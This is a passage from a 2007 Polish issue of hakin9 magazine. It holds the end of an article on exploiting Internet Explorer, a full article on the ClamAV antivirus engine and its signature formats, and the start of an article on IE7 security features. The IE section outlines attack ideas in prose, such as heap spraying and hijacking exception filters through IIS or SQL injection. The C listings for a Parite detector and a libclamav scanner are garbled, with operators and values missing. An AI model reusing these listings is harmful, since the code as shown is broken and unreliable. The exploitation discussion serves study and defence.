wyklucza możliwości jej stosowania. Na
przykład zamiast opierać się na oknach
Internet Explorera, można znaleźć inny
wektor wskazujący ole32!

CoFreeUnu-

suedLibrariesEx

, co z kolei umożliwi

wywołanie asymetrycznej derejestracji.
Możliwe jest też opracowanie lepszych
techik sprayowania na stos.

Można też pomyśleć o serwerze

IIS – jeśli możliwe jest wejście na
strony wywołujące łądowanie i od
ładowywanie bibliotek poprzez wy-
woływanie obiektów COM, atakujący
może przejąć kontrolę nad filtrami.
Podobnie Microsoft SQL server,
który łąduje i zwalnia wiele bibliotek
– możliwe jest prawdopodobnie wy-
konanie ataku SQL Injection, dające-
go kontrolę nad UEF.

Na koniec

Internet Explorer jest bardzo delikat-
ny. Czy zmieni to wersja 7 i Windows
Vista? Pokaże czas. Tym czasem
wykorzystanie delikatności IE by zro-
bić krzywdę nie tylko jej, systemowi
w którym działa, ale i użytkownikowi
wydaje się trywialne. Zresztą poka-
zane sposoby to wierzchołek góry
lodowej. Dodatkowo, stanowią ideal-
ny punkt wyjścia do dalszych badań.
Trzeba bowiem wiedzieć, że obecne
łatki w żaden sposób nie zamykają
im drzwi.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

rojekt Clam AntiVirus (ClamAV) to ze-
staw narzędzi antywirusowych prze-
znaczonych dla systemów uniksowych.

Rozwijany jest przez międzynarodową grupę
kilkunastu deweloperów i dostępny na licencji
GNU GPL v2. Należy w tym miejscu zwrócić
uwagę na to, co wyróżnia go na tle innych pro-
gramów Open Source, czyli na potrzebę cią-
głej aktualizacji – zarówno kodu, jak i baz sy-
gnatur wirusów. W przypadku programów an-
tywirusowych, to właśnie te elementy: oprogra-
mowanie i usługa, odgrywają jednocześnie klu-
czową rolę.

Słowo clam w języku angielskim oznacza

małża. Czytelnicy, którym zdarzało się by-
wać na lekcjach biologii, być może zapamięta-
li, że małże należą do zwierząt odżywiających
się metodą filtrowania: aby przeżyć, muszą w
efektywny sposób filtrować wodę w poszuki-
waniu cząsteczek pożywienia. To krótkie wyja-
śnienie powinno zaspokoić ciekawość dotyczą-
cą nazwy programu.

Podstawowe narzędzia

Oprogramowanie ClamAV stosuje się do zna-
nej uniksowej reguły KISS (ang. Keep it Sim-

ple, Single), stąd w wachlarzu programów do-

starczanych w pakiecie źródłowym znajdują
się proste w użyciu i wyspecjalizowane aplika-
cje przeznaczone dla konsoli, na bazie których
można budować złożone systemy skanujące.

Clamscan

Poręczne narzędzie umożliwiające skanowanie
plików oraz katalogów bezpośrednio z linii pole-
ceń to clamscan. W najprostszym przypadku,
jego użycie sprowadza się do wskazania nazwy

ClamAV, czyli jak to robią

małże...

Tomasz Kojm

stopień trudności

Problem zalewu niechcianej poczty dotyczy nas wszystkich,

zarówno administratorów systemów, jak i zwykłych użytkowników

Internetu, który w ostatnich latach stał się łakomym kąskiem

dla szeroko pojętej branży marketingowej oraz wszelkiej maści

przestępców, zainteresowanych głównie kilkoma numerami z

naszych kart kredytowych.

Z artykułu dowiesz się...

• jak zbudowany jest Clam AntiVirus,
• w jaki sposób wykorzystać bibliotekę libcla-

mav,

• w jaki sposób stworzyć własną sygnaturę wiru-

sa dla ClamAV.

Powinieneś wiedzieć...

• powinieneś posiadać podstawową wiedzę na

temat zagrożeń płynących z Internetu,

• powinieneś posiadać wiedzę o systemach

uniksowych oraz świadczonych przez nie usłu-
gach.

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

pliku bądź katalogu, który powinien
zostać przeskanowany. Dzięki moż-
liwości wywoływania zewnętrznych
programów, potrafi sprawdzać archi-
wa, które nie są obsługiwane przez
bibliotekę libclamav. Clamscan może
zostać wykorzystany do wykonywa-
nia rutynowych zadań, na przykład
skanowania katalogów użytkowników,
bądź integracji z innymi programami,
w celu wzbogacenia ich o możliwość
wykrywania wirusów. Należy jednak
podkreślić, że clamscan przy każ-
dym uruchomieniu musi wczytywać
pełne bazy sygnatur, co zajmuje za-
równo dodatkowy czas, jak i pamięć
operacyjną. Z tego powodu, nie powi-
nien być stosowany w zadaniach, któ-
re mogą wymagać skanowania wielu
plików z osobna i w tym samym cza-
sie, takich jak skanowanie poczty na
poziomie demona SMTP.

Clamd

Clamd to demon zaprojektowany do
zadań, w których liczy się wydajność.
Program ma budowę wielowątkową,
dzięki czemu potrafi wykorzystać do-
datkowe procesory w systemach SMP.
Zapewnia ona także efektywne wyko-
rzystanie baz sygnatur – są one łado-
wane przy starcie oraz po wykryciu no-
wej wersji, a następnie współdzielone
przez wszystkie wątki. Po uruchomie-
niu, clamd przechodzi w tło, oczekując
na polecenia (takie jak SCAN, PING,
RELOAD, STREAM) przez wskazane
w pliku konfiguracyjnym gniazdo unik-
sowe i/lub TCP. W przypadku syste-
mów Linux oraz FreeBSD, potrafi do-
datkowo współpracować z modułem
Dazuko, który umożliwia skanowanie
wybranych zasobów w momencie do-
stępu do nich. Pozwala to na przykład
na monitorowanie zawartości publicz-
nych katalogów FTP, gdy sam demon
FTP nie posiada wsparcia dla skano-
wania antywirusowego.

Clamdscan

Jednym z narzędzi pozwalających na
wykorzystanie dobrodziejstw demona

clamd jest clamdscan. Nazwa sugeru-
je, że został on stworzony na podo-
bieństwo pierwszego opisanego na-
rzędzia i tak w rzeczywistości jest.

Clamdscan może w wielu przypad-

kach efektywnie zastępować clam-

scana. Efektywnie, ponieważ nie po-
trzebuje on za każdym razem łado-
wać baz sygnatur, co znacznie skra-
ca czas uruchamiania, a także redu-
kuje zużycie pamięci. Clamdscan nie
zawiera żadnych procedur skanują-

cych i opiera się wyłącznie na clamd,
przesyłając do niego nazwy plików i
katalogów, strumienie danych oraz
deskryptory, które mają zostać prze-
skanowane. Z zależności tej wynika
pewne istotne ograniczenie: w przy-
padku skanowania plików bądź kata-

Listing 1.

Algorytmiczna detekcja wirusa wykorzystująca prostą

kryptoanalizę

/* W32.Parite.B */

(

SCAN_ALGO

dll

EC32

(

section_hdr

[

nsections

]

PointerToRawData

))

{

lseek

(

desc

SEEK_SET

);

(

cli_readn

(

desc

buff

4096

)

4096

)

{

const

char

cli_memstr

(

buff

4040

00"

);

(

)

{

uint32_t

dw1

dw2

;

(((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0x505a4f

((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0xffffb

((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0xb8

)

{

ctx

virname

"W32.Parite.B"

;

free

(

section_hdr

);

return

CL_VIRUS

;

}

Rysunek 1.

Uproszczony schemat działania biblioteki libclamav

Infekcja

TAK

NIE

TAK

Przetwarzanie

Brak Infekcji

Wybór metody

skanowania

Skanowanie

sygnaturami

Klasyfikacja

typu pliku

Zarządca

skanowania

Wykryto wirusa

Detekcja

algorytmiczna

Dane wymagają

dalszego

skanowania?

Dane wymagają

wstępnego

przetworzenia?

hakin9 Nr 2/2007

www.hakin9.org

obrona

logów, clamdscan jest w stanie skano-
wać tylko te, do których dostęp ma de-
mon clamd.

Freshclam

W pakiecie ClamAV znajduje się
program o wdzięcznej nazwie fre-

shclam, który w pełni automatyzuje
proces aktualizacji baz sygnatur wi-
rusów. Program udostępnia szereg
opcji: może być uruchamiany na żą-
danie bądź pracować w tle jako de-
mon, potrafi współpracować z serwe-
rami proxy, umożliwia wywołanie ze-

wnętrznych programów w zależności
od zdarzenia (aktualizacja baz, błąd,
wykrycie nowej wersji oprogramowa-
nia). W celu sprawdzenia aktualnej
wersji baz sygnatur, freshclam wyko-
rzystuje DNS, a dokładniej specjalny
rekord tekstowy:

$ host -t txt current.cvd.clamav.net
current.cvd.clamav.net TXT "0.88.4:
39:1640:1155043741:1"

Rekord ten zawiera także informację
o aktualnej stabilnej wersji ClamAV,

dzięki czemu freshclam może alar-
mować administratora o pojawieniu
się nowego wydania programu.

Sigtool

Ostatnie opisywane narzędzie prze-
znaczone jest przede wszystkim
dla osób bezpośrednio związanych
z opracowywaniem sygnatur wiru-
sów oraz aktualizacją baz w projek-
cie ClamAV. Sigtool pozwala rozpa-
kowywać, weryfikować oraz tworzyć
cyfrowo podpisane bazy sygnatur,
generować pliki różnicowe (*.cdiff),
wydobywać kod makr z plików Office
czy dokonywać normalizacji plików
HTML, ułatwiając tworzenie właści-
wych sygnatur.

LibClamAV

Biblioteka libclamav jest elementem
bezpośrednio odpowiedzialnym za
wykrywanie wirusów. Jest ona bez-
pieczna dla wątków oraz udostępnia
nieskomplikowane API (ang. Applica-

tion Programming Interface) pozwala-
jące programom na dostęp do uniwer-
salnych funkcji skanujących. Na Ry-
sunku 1 przedstawiony został ogól-
ny schemat działania biblioteki, a po-
niżej opisane poszczególne etapy. Ar-
tykuł koncentruje się na aktualnej wer-
sji oprogramowania z repozytorium
CVS, która wkrótce zastąpi obecną
stabilną serię 0.8x.

Ustalanie typu pliku

Ze względów bezpieczeństwa oraz
bezpośredniej pracy na deskrypto-
rach, w celu ustalenia typu pliku libc-

lamav analizuje jego zawartość, a nie
nazwę w systemie plików. Coś, co z
pozoru może wydawać się trywialne,
okazuje się niekiedy twardym orze-
chem do zgryzienia. O ile rozpoznanie
pliku wykonywalnego ELF nie stanowi
problemu, o tyle stwierdzenie, czy da-
ny plik jest archiwum tar wymaga już
większego wysiłku. Ponieważ od wy-
niku tego procesu bezpośrednio za-
leży sukces skanowania, musi zostać
on przeprowadzony w sposób możli-
wie najdokładniejszy. Biblioteka libcla-

mav stosuje w tym celu trzy techniki:

• standardowe testy sprawdzają-

ce liczby magiczne (ang. magic

Tabela 1.

Tabela znaków zastępczych

Znak zastępczy

Znaczenie dopasowania

Dowolna ilość dowolnych znaków

Pojedynczy dowolny znak

{n}

n dowolnych znaków

{-n}

Co najwyżej n dowolnych znaków

{n-}

Co najmniej n dowolnych znaków

(a|b|c)

a lub b lub c

Tabela 2.

Tabela znaków zastępczych

Kod pliku docelowego

Typ pliku

Dowolny

Portable Executable

Komponent OLE2 (na przykład
skrypt VBA)

Znormalizowany HTML

Pocztowy

Graficzny

ELF

Tabela 3.

Tabela dopuszczalnych offsetów

Offset

Miejsce dopasowania

Dowolne miejsce w pliku

n-ty bajt

EOF-n

n-ty bajt licząc od końca pliku

EP+n (ten i poniższe offsety dzia-
łają tylko z plikami wykonywalny-
mi PE oraz ELF)

n-ty bajcie począwszy od Entry Point

EP-n

n-ty bajt przed Entry Point

Sx+n

n-ty bajt począwszy od początku sek-
cji o numerze x

Sx-n

n-ty bajt przed początkiem sekcji o nu-
merze x

SL+n, SL-n

Jak wyżej, gdzie L odpowiada ostat-
niej sekcji w pliku

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

numbers), czyli unikatowe war-
tości wewnątrz pliku, charaktery-
styczne tylko dla danego typu,

• detekcję algorytmiczną opartą o

analizę strukturalną lub zawarto-
ści pliku,

• skanowanie pliku pod kątem

zawartości charakterystycznych
fragmentów danych (na przykład
fragmentów kodu HTML).

Wsparcie

dla plików specjalnych

Gdy typ pliku zostanie ustalony, po-
dejmowana jest decyzja dotycząca
jego obsługi. Pliki specjalne, takie
jak archiwa czy dokumenty wyma-
gają wcześniejszego przetworzenia,
polegającego na odpowiedniej eks-
trakcji danych z ich wnętrza. Biblio-
teka posiada bezpośrednie wsparcie
dla następujących typów:

• archiwa: zip, RAR, CHM (ang.

Compiled HTML), cabinet, OLE2,
tar, SIS (pakiety instalacyjne dla
systemu Symbian),

• pliki skompresowane: gzip, bzip2,

compress,

• pliki poczty: wszystkie popularne

formaty uniksowe, TNEF (winma-
il.dat), PST,

• dokumenty: HTML, PDF, MS Offi-

ce,

• pliki wykonywalne: PE (wraz z ob-

sługą UPX, FSG, Petite, PESpin,
WWPack32, Y0da Cryptor), ELF,

• inne: JPEG, GIF, RIFF (analiza

plików na obecność exploitów).

Moduły obsługujące pliki specjalne
zostały stworzone tak, aby wykry-
wać nieprawidłowości, które mogłyby
zostać wykorzystane do wprowadze-
nia skanera w błąd. Na przykład, pro-
cedury obsługujące pliki zip są w sta-
nie wykryć manipulacje w lokalnych
nagłówkach archiwów, fałszywe oraz
ukryte wpisy. Dodatkowym elemen-
tem ochrony są limity związane z po-
ziomem rekursji, liczbą oraz rozmia-
rem rozpakowywanych plików, które
stanowią zabezpieczenie przed ata-
kami typu Denial of Service, wykorzy-
stującymi bomby archiwowe (niewiel-
kie archiwa zawierające dużą liczbę
wysoce skompresowanych plików).

Listing 2a.

Przykład użycia biblioteki libclamav

#include

<stdio.h>

#include

<stdlib.h>

#include

<string.h>

#include

<unistd.h>

#include

#include

#include

<fcntl.h>

include

clamav

/* plik nagłówkowy biblioteki libclamav */

int

main

(

int

argc

char

argv

)

{

int

ret

;

unsigned

long

int

size

;

unsigned

int

sigs

;

long

double

;

const

char

virname

;

struct

cl_engine

engine

NULL

;

struct

cl_limits

limits

;

(

argc

)

{

printf

(

"Usage: %s file

argv

[

]);

exit

(

);

}

((

open

(

argv

[

]

O_RDONLY

))

)

{

printf

(

"Can't open file %s

argv

[

]);

exit

(

);

}

/* wczytaj wszystkie bazy z domyślnego katalogu */

((

ret

cl_load

(

cl_retdbdir

()

engine

sigs

CL_DB_STDOPT

)))

{

printf

(

"cl_load: %s

cl_strerror

(

ret

));

(

);

exit

(

);

}

printf

(

"Loaded %d signatures.

sigs

);

/* skompiluj silnik */

((

ret

cl_build

(

engine

)))

{

printf

(

"Engine compilation error: %s

cl_strerror

(

ret

));;

cl_free

(

engine

);

(

);

exit

(

);

}

/* ustaw limity archiwów */

memset

limits

sizeof

(

struct

cl_limits

));

limits

maxfiles

1000

;

/* maksymalna liczba plików, które zostaną

rozpakowane */

limits

maxfilesize

1048576

;

/* maksymalny rozmiar zarchiwizowanego

pliku */

limits

maxreclevel

;

/* maksymalny poziom rekursji */

limits

maxratio

200

;

/* maksymalny stosunek rozmiaru pliku

skompresowanego do oryginału */

/* przeskanuj wskazany deskryptor */

((

ret

cl_scandesc

(

virname

size

engine

limits

CL_SCAN_

STDOPT

))

CL_VIRUS

)

{

printf

(

"Virus detected: %s

virname

);

}

else

{

(

ret

CL_CLEAN

)

{

printf

(

"No virus detected.

);

}

else

{

printf

(

"Error: %s

cl_strerror

(

ret

));

cl_free

(

engine

);

(

);

exit

(

);

}

(

);

hakin9 Nr 2/2007

www.hakin9.org

obrona

Zastosowanie znajdują także dodat-
kowe informacje umieszczone w ar-
chiwach (metadane), które libclamav
pozwala skanować za pomocą spe-
cjalnych sygnatur, umożliwiając w nie-
których przypadkach wykrycie złośli-
wego oprogramowania wewnątrz za-
szyfrowanych archiwów.

Skanowanie sygnaturami

Aby efektywnie skanować pliki w po-
szukiwaniu dziesiątek tysięcy wiru-
sów, libclamav stosuje dwa algoryt-
my: Aho-Corasick oraz rozszerzony
algorytm Boyer-Moore'a. Są to algo-
rytmy dopasowania wielowzorcowe-

go, umożliwiające przeszukiwanie
plików pod kątem wielu sygnatur w
tym samym czasie.

Dodatkowo, biblioteka obsługu-

je akceleratory sprzętowe znacznie
przyspieszające skanowanie.

Algorytm Aho-Corasick na pod-

stawie zbioru wzorców (u nas sygna-
tur wirusów) buduje specjalne drzewo,
które następnie zostaje przekształco-
ne w automat skończony.

Na Rysunku 2 przedstawiony zo-

stał przykład drzewa oraz odpowia-
dającego mu automatu, stworzonych
dla zbioru wzorców P = {GAT, GC,
TGCT}. Stany automatu zaznaczo-

ne kolorem zielonym, to stany końco-
we – gdy automat znajdzie się w takim
stanie, oznaczać to będzie poprawne
dopasowanie jednego ze wzorców.
Czarne strzały (krawędzie drzewa) re-
prezentują funkcję przejścia i umożli-
wiają zmianę stanu, gdy znak wejścio-
wy jest znakiem przez nie akceptowa-
nym. Czerwone strzały reprezentują
natomiast funkcję porażki i pozwala-
ją na zmianę stanu, gdy niemożliwe
jest to poprzez funkcję przejścia. Au-
tomat rozpoczyna działanie w stanie
zerowym (który jest korzeniem drze-
wa i stanem początkowym automatu)
i dokonuje odpowiednich zmian stanu

Rysunek 2.

Przykład drzewa i automatu Aho-Corasick

!=T

!=A,C

!=EOF

!=C

!=T

!=G

!=G, T

Rysunek 3.

Drzewo sygnatur w pamięci

Sygnatury

standardowe

Metastruktury

Zip

Metastruktury

RAR

A-C

B-M

A-C

Wspólne

ELF

HTML

Poczta

Grafika

OLE2

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

Struktury

MDS

Struktury

MDS

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

dla każdego znaku tekstu wejściowe-
go. W omawianym przykładzie, prze-
szukiwanie tekstu odbywa się w cza-
sie liniowym – każdy ze znaków tekstu
wejściowego jest sprawdzany tylko je-
den raz. Implementacja algorytmu w
ClamAV nie zapewnia takiego czasu
działania automatu, ponieważ w celu
ograniczenia zużycia pamięci wpro-
wadzone zostały ograniczenia dla
głębokości drzewa A-C, jednak w dal-
szym ciągu wydajność jest zadowala-
jąca. Dodatkowo, algorytm został roz-
szerzony o obsługę podstawowych
znaków zastępczych (ang. wild cards)
opisanych w następnym punkcie.

Rozszerzony algorytm Boyer-Mo-

ore'a podobnie do wersji oryginalnej
wykorzystuje ideę tablicy przesunięć
(ang. shift table), umożliwiającej po-
minięcie części tekstu wejściowego,
w ktorym nie może nastąpić dopa-
sowanie. Zasadnicza część algoryt-
mu pracuje nie na pojedynczych zna-
kach, lecz na haszach obliczanych z
trzech kolejnych znaków, które służą
jako indeksy tablicy przesunięć oraz
specjalnej tablicy sufiksów. Z tego po-
wodu algorytm jest stosowany tylko
dla sygnatur statycznych (nie zawiera-
jących znaków zastępczych).

Proces skanowania sygnaturami

może zostać wielokrotnie przyspie-
szony przez zastosowanie akcele-
ratora sprzętowego. ClamAV posia-
da wsparcie dla platformy NodalCo-
re firmy Sensory Networks, w ramach
której dostępne są karty PCI o prze-
pustowościach do 2 Gb/s. Ich wyko-
rzystanie nie tylko przyspiesza samo
skanowanie, ale także w znaczny spo-
sób redukuje obciążenie CPU, co ma
niebagatelne znaczenie dla systemów
filtrujących setki tysięcy bądź miliony
plików dziennie. Informacje technicz-
ne oraz ceny kart można znaleźć na
stronach producenta.

Typy sygnatur wirusów

Libclamav obsługuje kilka typów sy-
gnatur, pozwalających na opis zło-
śliwego oprogramowania na różne
sposoby.

Głównym elementem sygnatur

standardowych jest fragment kodu,
który w jednoznaczny sposób identyfi-
kuje cel. Aby uniknąć fałszywych alar-

mów oraz umożliwić przechowywanie
wpisów w plikach tekstowych, jest on
zakodowany do postaci napisu złożo-
nego z liczb szesnastkowych, może
także zawierać znaki zastępcze opisa-
ne w Tabeli 1, które pozwalają zwięk-
szyć elastyczność sygnatury. Sygna-
tury standardowe mogą występować
w dwóch postaciach: uproszczonej
oraz pozwalającej na dokładniejszy
opis celu. W pierwszym przypadku są
to sygnatury umieszczane w bazach

*.db, o następującym formacie:

NazwaWirusa=SygnaturaSzesnastkowa

Sygnatury w postaci rozszerzonej
umieszczane są w plikach *.ndb i wy-
glądają następująco:

NazwaWirusa:KodCelu:Offset:
SygnaturaSzesnastkowa[:
MinimalnaWersjaSilnika:[MaksymalnaWS]]

Pozwalają one na wskazanie typu
pliku oraz miejsca, w którym powin-
no nastąpić dopasowanie sygnatury.
W Tabeli 2 oraz 3 przedstawione zo-
stały możliwe wartości dla drugiego
oraz trzeciego pola.

W przypadku złośliwego oprogra-

mowania, które w żaden sposób nie
modyfikuje swoich plików, takiego jak
większość dialerów czy prostych ko-
ni trojańskich, możliwe jest użycie sy-
gnatur wykorzystujących sumy MD5.
Umieszczane są one w plikach *.hdb i
mają następujący format:

MD5:RozmiarPliku:Nazwa

Dzięki nim, użytkownicy mogą w ła-
twy sposób tworzyć swoje własne
sygnatury – wystarczy wykorzystać
opcję --md5 programu sigtool:

sigtool --md5 evil.exe > evil.hdb

a następnie przenieść plik evil.hdb
do katalogu z bazami ClamAV.

Ostatni typ sygnatur przeznaczo-

ny jest do opisu plików wewnątrz ar-
chiwów i w tym celu wykorzystuje
wspomniane wcześniej metadane
zawarte w archiwach. Ma on zasto-
sowanie przede wszystkim w przy-
padku robaków internetowych uży-
wających zaszyfrowanych archiwów
w charakterze nośników, a których
pliki zachowują jakąś charaktery-
styczną własność, taką jak nazwa,
rozmiar czy suma kontrolna. Sygna-
tury te są przechowywane w plikach

.zmd oraz .rmd, odpowiednio dla ar-
chiwów zip i RAR, w następującym
formacie:

NazwaRobaka:zaszyfrowany(0,1):nazwa
pliku:oryginalny rozmiar:rozmiar po
kompresji:crc32:metoda kompresji:numer
porządkowy pliku w archiwum:maksymalna
liczba zagnieżdżonych archiwów

Jeżeli pewne parametry ulegają zmia-
nie, można użyć gwiazdki w celu zi-
gnorowania ich wartości. Przykłada-
mi robaków pomyślnie wykrywanych
tą specyficzną metodą są między in-
nymi Worm.Padowor.A, Worm.Kima-
zo.A oraz warianty robaka Bagle.

W celu optymalnego wykorzysta-

nia, w trakcie ładowania baz sygna-
tury dzielone są na odpowiednie gru-
py, tworząc drzewo przedstawione
na Rysunku 3. Dane skanowane są
w pierwszej kolejności sygnaturami
zgodnymi z ich typem, następnie sy-
gnaturami wspólnymi oraz MD5. Sy-
gnatury wykorzystujące metadane
sprawdzane są w momencie rozpa-
kowywania archiwów.

Pliki skanowane są w pierwszej

kolejności sygnaturami zgodnymi z
ich typem, następnie sygnaturami
wspólnymi oraz MD5.

Listing 2b.

Przykład użycia biblioteki libclamav

/* oblicz przybliżony rozmiar przeskanowanych danych */

size

(

CL_COUNT_PRECISION

1024

)

1024.0

;

printf

(

"Size of scanned data: %2.2Lf MB

);

/* zwolnij pamięć zajmowaną przez silnik */

cl_free

(

engine

);

exit

(

ret

CL_VIRUS

);

}

hakin9 Nr 2/2007

www.hakin9.org

obrona

Pliki CVD

Podstawowym nośnikiem dla sygnatur
w ClamAV są pliki CVD, które w istocie
są skompresowanymi oraz cyfrowo
podpisanymi archiwami tar. Dystrybu-
owane są dwa pliki: daily.cvd oraz ma-

in.cvd. Pierwszy z nich to mniejsza ba-
za służąca do codziennych aktualiza-
cji, drugi to z kolei główne archiwum
sygnatur, do którego średnio co pół-
torej miesiąca przenoszona jest część
wpisów z daily.cvd. Bazy zawierają pli-
ki tekstowe z sygnaturami w opisanych
wyżej formatach. W celu zmniejsze-
nia obciążenia mirrorów opracowa-
ny został system aktualizacji różnico-
wych, który znosi potrzebę ściągania
kompletnych plików z bazami. Zamiast
tego, freshclam pobiera tylko specjal-
ny skrypt z ostatnio wprowadzonymi
zmianami i dokonuje odpowiednich
aktualizacji lokalnych plików.

Algorytmiczna

detekcja wirusów

Niektóre zaawansowane wirusy wy-
magają specjalnego podejścia. Doty-
czy to przede wszystkim wirusów wy-
soce polimorficznych, które uniemoż-
liwiają bezpośrednie wykrycie za po-
mocą sygnatur. Część skanerów an-
tywirusowych w celu ich wykrycia sta-
ra się wykorzystywać uniwersalne po-
dejście oparte o emulację kodu, jed-
nak w przypadku nowoczesnych wi-
rusów wykorzystujących zaawan-
sowane sztuczki bądź coraz to no-
we rozszerzenia procesorów, może
się ono często okazać nieefektyw-
ne. ClamAV stawia na precyzyjną
detekcję opartą o dedykowane algo-
rytmy. Metoda ta jest bardziej praco-
chłonna, jednak pozwala na dokładne
oraz co bardzo ważne – szybkie wy-
krycie wirusa przez skaner. W chwi-
li obecnej, wszystkie algorytmy mu-
szą być umieszczane bezpośrednio w
źródłach programu, jednak już wkrót-
ce możliwa będzie ich dystrybucja w
postaci bajtkodu (ang. bytecode) obok
standardowych sygnatur. Na Listin-
gu 1 przedstawiony został krótki frag-
ment kodu odpowiedzialny za wykry-
wanie wirusa W32.Parite.B, Czytelni-
cy zainteresowani bardziej skompliko-
wanymi przykładami zachęcani są do
lektury źródeł.

Przykład użycia biblioteki

Biblioteka libclamav pozwala na łatwą
rozbudowę istniejącego oprogramo-
wania o skanowanie antywirusowe.
Na Listingu 2 przedstawiony został
kompletny przykład wykorzystania
biblioteki – proste narzędzie umoż-
liwiające skanowanie pojedynczych
plików z linii poleceń. Wykorzystane
zostały w nim podstawowe funkcje:

cl _ load()

wczytuje pojedynczą ba-

zę lub wszystkie bazy ze wskazane-
go katalogu,

cl _ retdbdir()

zwraca

ścieżkę domyślnego katalogu z ba-
zami,

cl _ build()

dokonuje kompilacji

silnika,

cl _ scandesc()

skanuje wska-

zany deskryptor,

cl _ strerror()

tłu-

maczy kod błędu na komunikat w ję-
zyku angielskim i w końcu

cl _ free()

zwalnia pamięć zajmowaną przez sil-
nik. Program zwraca do systemu kod
1 w przypadku wykrycia infekcji, 0 w
przypadku jej nie wykrycia oraz 2, w
przypadku wystąpienia błędu.

Infrastruktura sieciowa

Projekt ClamAV posiada zaawan-
sowaną, rozbudowywaną od kilku
lat infrastrukturę serwerów lustrza-
nych (mirrorów). Jest ona sponsoro-
wana przez firmy, organizacje oraz
jednostki edukacyjne, które udo-
stępniają szerokopasmowe łącza
internetowe dla potrzeb dystrybu-
cji baz z sygnaturami wirusów. Po-
nad sto dwadzieścia maszyn w bli-
sko czterdziestu krajach zapewnia
szybką oraz bezawaryjną aktuali-
zację baz. W celu optymalnego do-
stępu do aktualizacji, dostęp do ser-
werów następuje poprzez następu-
jące adresy:

• db.XY.clamav.net – wskazuje na

mirrory dostępne w kraju o ko-
dzie XY,

• db.local.clamav.net – próbuje prze-

kierować klienta do najbliższej puli
mirrorów poprzez sprawdzenie je-
go adresu w bazie GeoIP,

• database.clamav.net – rekord ro-

und-robin wskazujący na zbiór
najszybszych i najbardziej nieza-
wodnych mirrorów.

W przypadku Polski, zalecana konfi-
guracja polega na umieszczeniu na-

stępujących dwóch wpisów w pliku

freshclam.conf:

DatabaseMirror db.pl.clamav.net
DatabaseMirror database.clamav.net

W przypadku gdy połączenie z mir-
rorami krajowymi nie powiedzie się,

freshclam automatycznie użyje dru-
giego wpisu.

Możliwe zastosowania

Mimo, że ClamAV został zaprojek-
towany przede wszystkim z myślą
o skanowaniu poczty, pomyślnie
sprawdza się także w innych zasto-
sowaniach. Na stronie głównej pro-
jektu, w dziale Third-party software
znaleźć można listę ponad stu pro-
gramów współpracujących z Cla-
mAV, pozwalających na wykorzysta-
nie go do filtrowania poczty na pozio-
mie protokołów SMTP, POP3 oraz
czytników poczty, skanowania syste-
mu plików, strumieni HTTP, zasobów
FTP i do wielu, wielu innych celów.

Podsumowanie

Skaner antywirusowy powinien być
jednym z podstawowych narzędzi w
arsenale każdego administratora sie-
ci. Clam AntiVirus to elastyczne opro-
gramowanie, dające szerokie możli-
wości konfiguracji oraz zastosowania,
a dzięki swojej licencji i szybkim reak-
cjom na nowe zagrożenia, obala mit o
niebotycznych kosztach ochrony an-
tywirusowej. l

O autorze

Autor jest twórcą oraz liderem projektu
Clam AntiVirus. Absolwent informatyki
na Uniwersytecie Mikołaja Kopernika w
Toruniu, wieloletni entuzjasta oprogramo-
wania Open Source oraz żółwi wodnych.

W Sieci

• http://www.clamav.net/ – strona

domowa projektu Clam AntiVirus,

• http://www.dazuko.org/ – strona

domowa projektu Dazuko,

• http://www.sensorynetworks.com/

– strona producenta akceleratorów
sprzętowych.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

iele osób zastanawiało się, czy pro-
dukt jest bezpieczny, czy też nie;
czy łatwo się do niego włamać oraz

czy posiada więcej „dziur” niż jego poprzednie
wersje. Niemniej jednak bezpieczeństwo wła-
snych zasobów to nie tylko sama przeglądarka,
ale również nawyki ludzi z niej korzystających
oraz tego, jak bardzo przyłożą się oni do prawi-
dłowego skonfigurowania swojego środowiska
pracy. Zacznijmy jednak od początku, czyli od
przedstawienia kilku najważniejszych nowych
cech bezpieczeństwa:

Opcjonalne formanty ActiveX

Funkcja ta wyłącza prawie wszystkie preinsta-
lowane formanty ActiveX w celu ochrony poten-
cjalnie zagrożonych formantów przed atakiem.
W razie potrzeby formanty ActiveX w prosty
sposób można włączyć lub wyłączyć, używa-
jąc Paska informacji i Menedżera dodatków.

Pasek stanu zabezpieczeń

Zwiększa świadomość zagrożeń na stronie sieci
Web i ustawienia prywatności poprzez wyświetla-
nie kolorowych powiadomień obok paska adresu.
W przeglądarce Internet Explorer 7 kolor Paska ad-
resu zmienia się na zielony w przypadku stron po-

siadających nowe certyfikaty. To gwarancja, wska-
zująca, że właściciel przeszedł dokładne testy we-
ryfikacyjne. Powiadomienia filtrów witryn wyłudza-
jących informacje, nazwy certyfikatów i ikona zło-
tej kłódki są teraz umieszczone bezpośrednio przy
pasku adresu, co poprawia ich widoczność. Za po-
mocą jednego kliknięcia można wyświetlać na pa-
sku stanu zabezpieczeń dokładne informacje na
temat certyfikatów i prywatności.

Filtr witryn

wyłudzających informacje

Aktywnie ostrzega i ułatwia ochronę przed po-
tencjalnymi lub znanymi fałszywymi strona-
mi sieci Web. Opcjonalny filtr jest aktualizowa-
ny kilka razy na godzinę na podstawie najnow-
szych danych na temat zabezpieczeń firmy Mi-
crosoft oraz jej partnerów branżowych.

Bariery między domenami

Ogranicza działanie skryptów na stronach i unie-
możliwia ich interakcję z zawartością innych do-
men lub okien. Ta zaawansowana funkcja ochro-
ny pozwala na zabezpieczenie przed złośliwym
oprogramowaniem, które poprzez manipulację
błędami w kodzie innych witryn może pobrać
niechciane treści lub oprogramowanie.

Bezpieczeństwo w Internet

Explorer 7

Artur Żarski

stopień trudności

W tym samym dniu, w którym pojawiła się pierwsza publiczna

wersja przeglądarki Internet Explorer 7 rozpoczęła się

długa dyskusja na temat bezpieczeństwa tego produktu. IE7

zawiera bardzo dużo nowych funkcji, które mają zwiększyć

bezpieczeństwo użytkownika końcowego. Jest ich o wiele więcej

niż w wersji IE6.

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

Ochrona przed

niewłaściwym

adresowaniem domen

Poza dodaniem obsługi nazw domen
międzynarodowych w adresach URL
przeglądarka Internet Explorer powia-

